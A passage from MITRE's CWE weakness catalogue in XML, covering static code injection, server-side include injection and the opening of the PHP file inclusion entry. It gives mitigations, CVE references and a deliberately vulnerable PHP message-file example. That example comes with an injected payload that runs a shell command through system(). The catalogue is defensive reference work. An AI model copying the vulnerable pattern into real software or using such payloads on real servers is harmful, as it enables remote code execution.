					          <Modification_Comment>updated Description, Observed_Examples, Other_Notes,
						Research_Gaps</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Alternate_Terms, Applicable_Platforms,
						Demonstrative_Examples, Description, Name, References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Direct Dynamic Code
						Evaluation ('Eval Injection')</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Insufficient Control of
						Directives in Dynamically Evaluated Code (aka 'Eval
						Injection')</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-06-21">Improper Sanitization of
						Directives in Dynamically Evaluated Code ('Eval
						Injection')</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="96" Name="Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software receives input from an upstream component, but it
					does not neutralize or incorrectly neutralizes code syntax before inserting the
					input into an executable resource, such as a library, configuration file, or
					template.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>94</Relationship_Target_ID>
					          <!--Improper Control of Generation of Code ('Code Injection')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>632</Relationship_Target_ID>
					          <!--Weaknesses that Affect Files or Directories-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="PHP"/>
					          <Language Language_Name="Perl"/>
					          <Language_Class Language_Class_Description="All Interpreted Languages"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>"HTML injection" (see XSS) could be thought of as an example of this, but
						it is executed on the client side, not the server side. Server-Side Includes
						(SSI) are an example of direct static code injection.</Text>
					          <Text>This issue is most frequently found in PHP applications that allow users
						to set configuration variables that are stored within executable php files.
						Technically, this could also be performed in some compiled code (e.g. by
						byte-patching an executable), although it is highly unlikely.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The injected code could access restricted data / files.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>In some cases, injectable code controls authentication; this may lead
							to a remote vulnerability.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Injected code can access resources that the attacker is directly
							prevented from accessing.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Code injection attacks can lead to loss of data integrity in nearly
							all cases as the control-plane data injected is always incidental to
							data recall or writing. Additionally, code injection can often result in
							the execution of arbitrary code.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Non-Repudiation</Consequence_Scope>
					          <Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Often the actions performed by injected control code are
							unlogged.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Output Encoding</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Perform proper output validation and escaping to neutralize all code
							syntax from data written to code files.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-32">
					          <Intro_Text>This example attempts to write user messages to a message file and
						allow users to view them.</Intro_Text>
					          <Example_Body>
						            <Code_Example_Language>PHP</Code_Example_Language>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code>$MessageFile = "cwe-94/messages.out";</Code>
							              <Code>if ($_GET["action"] == "NewMessage") {</Code>
							              <Block>
								                <Code>$name = $_GET["name"];</Code>
								                <Code>$message = $_GET["message"];</Code>
								                <Code>$handle = fopen($MessageFile, "a+");</Code>
								                <Code>fwrite($handle, "&lt;b&gt;$name&lt;/b&gt; says
									'$message'&lt;hr&gt;\n");</Code>
								                <Code>fclose($handle);</Code>
								                <Code>echo "Message Saved!&lt;p&gt;\n";</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>else if ($_GET["action"] == "ViewMessages") {</Code>
							              <Block>
								                <Code>include($MessageFile);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>While the programmer intends for the MessageFile to only include data,
							an attacker can provide a message such as:</Text>
						            <Block Block_Nature="Attack">
							              <Code>name=h4x0r</Code>
							              <Code>message=%3C?php%20system(%22/bin/ls%20-l%22);?%3E</Code>
						            </Block>
						            <Text>which will decode to the following:</Text>
						            <Block Block_Nature="Attack">
							              <Code>&lt;?php system("/bin/ls -l");?&gt;</Code>
						            </Block>
						            <Text>The programmer thought they were just including the contents of a
							regular data file, but PHP parsed it and executed the code. Now, this
							code is executed any time people view messages.</Text>
						            <Text>Notice that XSS (CWE-79) is also possible in this situation.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0495</Observed_Example_Reference>
					          <Observed_Example_Description>Perl code directly injected into CGI library file
						from parameters to another CGI program.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1876</Observed_Example_Reference>
					          <Observed_Example_Description>Direct PHP code injection into supporting template
						file.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1894</Observed_Example_Reference>
					          <Observed_Example_Description>Direct code injection into PHP script that can be
						accessed by attacker.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0395</Observed_Example_Reference>
					          <Observed_Example_Description>PHP code from User-Agent HTTP header directly
						inserted into log file implemented as PHP
						script.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Affected_Resources>
				        <Affected_Resource>File/Directory</Affected_Resource>
			      </Affected_Resources>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Direct Static Code Injection</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>18</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>35</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>63</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>73</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>77</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>81</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>85</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>86</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Relationships, Other_Notes,
						Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Direct Static Code
						Injection</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Insufficient Control of
						Directives in Statically Saved Code (Static Code
						Injection)</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-04-05">Improper Sanitization of
						Directives in Statically Saved Code ('Static Code
						Injection')</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="97" Name="Improper Neutralization of Server-Side Includes (SSI) Within a Web Page" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The software generates a web page, but does not neutralize or
					incorrectly neutralizes user-controllable input that could be interpreted as a
					server-side include (SSI) directive.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>96</Relationship_Target_ID>
					          <!--Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This can be resultant from XSS/HTML injection because the same special
						characters can be involved. However, this is server-side code execution, not
						client-side.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Utilize an appropriate mix of white-list and black-list parsing to
							filter server-side include syntax from all input.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Server-Side Includes (SSI) Injection</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>SSI Injection </Mapped_Node_Name>
					          <Mapped_Node_ID>36</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>101</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>35</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Other_Notes,
						Relationship_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Description, Name, Type</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Server-Side Includes (SSI)
						Injection</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-06-21">Failure to Sanitize
						Server-Side Includes (SSI) Within a Web Page</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="98" Name="Improper Control of Filename for Include/Require Statement in PHP Program ('PHP File Inclusion')" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The PHP application receives input from an upstream component,
					but it does not restrict or incorrectly restricts the input before its usage in
					"require," "include," or similar functions.</Description_Summary>
				        <Extended_Description>
					          <Text>In certain versions and configurations of PHP, this can allow an attacker
						to specify a URL to a remote location from which the software will obtain
						the code to execute. In other cases in association with path traversal, the
						attacker can specify a local file that may contain executable statements
						that can be parsed by PHP.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">800</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>802</Relationship_Target_ID>
					          <!--2010 Top 25 - Risky Resource Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>706</Relationship_Target_ID>
					          <!--Use of Incorrectly-Resolved Name or Reference-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>829</Relationship_Target_ID>
					          <!--Inclusion of Functionality from Untrusted Control Sphere-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>94</Relationship_Target_ID>
					          <!--Improper Control of Generation of Code ('Code Injection')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Compound_Element</Relationship_Target_Form>
					          <Relationship_Nature>CanAlsoBe</Relationship_Nature>
					          <Relationship_Target_ID>426</Relationship_Target_ID>
					          <!--Untrusted Search Path-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>216</Relationship_Target_ID>
					          <!--Containment Errors (Container Errors)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>632</Relationship_Target_ID>
					          <!--Weaknesses that Affect Files or Directories-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">629</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>714</Relationship_Target_ID>
					          <!--OWASP Top Ten 2007 Category A3 - Malicious File Execution-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>727</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A6 - Injection Flaws-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This is frequently a functional consequence of other weaknesses. It is
						usually multi-factor with other factors (e.g. MAID), although not all
						inclusion bugs involve assumed-immutable data. Direct request weaknesses
						frequently play a role.</Text>
					          <Text>Can overlap directory traversal in local inclusion problems.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Prevalence="Often" Language_Name="PHP"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>PHP remote file inclusion</Term>
				        </Alternate_Term>
				        <Alternate_Term>
					          <Term>Local file inclusion</Term>
					          <Alternate_Term_Description>
						            <Text>This term is frequently used in cases in which remote download is
							disabled, or when the first part of the filename is not under the
							attacker's control, which forces use of relative path traversal (CWE-23)
							attack techniques to access files that may contain previously-injected
							PHP code, such as web access logs.</Text>
					          </Alternate_Term_Description>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>High to Very High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The attacker may be able to specify arbitrary code to be executed from
							a remote location. Alternatively, it may be possible to use normal
							program behavior to insert php code into files on the local machine
							which can then be included and force the code to execute since php
							ignores everything in the file except for the content between php
							specifiers.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method>
					          <Method_Name>Manual Analysis</Method_Name>
					          <Method_Description>
						            <Text>Manual white-box analysis can be very effective for finding this
							issue, since there is typically a relatively small number of include or
							require statements in each program.</Text>
					          </Method_Description>
					          <Method_Effectiveness>High</Method_Effectiveness>
				        </Detection_Method>
				        <Detection_Method>
					          <Method_Name>Automated Static Analysis</Method_Name>
					          <Method_Description>
						            <Text>The external control or influence of filenames can often be detected
							using automated static analysis that models data flow within the
							software.</Text>
						            <Text>Automated static analysis might not be able to recognize when proper
							input validation is being performed, leading to false positives - i.e.,
							warnings that do not have any security consequences or require any code
							changes. If the program uses a customized input validation library, then
							some tools may allow the analyst to create custom signatures to detect
							usage of those routines.</Text>
					          </Method_Description>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-4">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Libraries or Frameworks</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a vetted library or framework that does not allow this weakness to
							occur or provides constructs that make this weakness easier to
							avoid.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-21.1">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Enforcement by Conversion</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>When the set of acceptable objects, such as filenames or URLs, is
							limited or known, create a mapping from a set of fixed input values
							(such as numeric IDs) to the actual filenames or URLs, and reject all
							other inputs.</Text>
						            <Text>For example, ID 1 could map to "inbox.txt" and ID 2 could map to
							"profile.txt". Features such as the ESAPI AccessReferenceMap [R.98.1]
							provide this capability.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-15">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>For any security checks that are performed on the client side, ensure
							that these checks are duplicated on the server side, in order to avoid
							CWE-602. Attackers can bypass the client-side checks by modifying values
							after the checks have been performed, or by changing the client to
							remove the client-side checks entirely. Then, these modified values
							would be submitted to the server.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-22">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Sandbox or Jail</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Run the code in a "jail" or similar sandbox environment that enforces
							strict boundaries between the process and the operating system. This may
							effectively restrict which files can be accessed in a particular
							directory or which commands can be executed by the software.</Text>
						            <Text>OS-level examples include the Unix chroot jail, AppArmor, and SELinux.
							In general, managed code may provide some protection. For example,
							java.io.FilePermission in the Java SecurityManager allows the software
							to specify restrictions on file operations.</Text>
						            <Text>This may not be a feasible solution, and it only limits the impact to
							the operating system; the rest of the application may still be subject
							to compromise.</Text>
						            <Text>Be careful to avoid CWE-243 and other weaknesses related to jails.
						</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Limited</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text>The effectiveness of this mitigation depends on the prevention
							capabilities of the specific sandbox or jail being used and might only
							help to reduce the scope of an attack, such as restricting the attacker
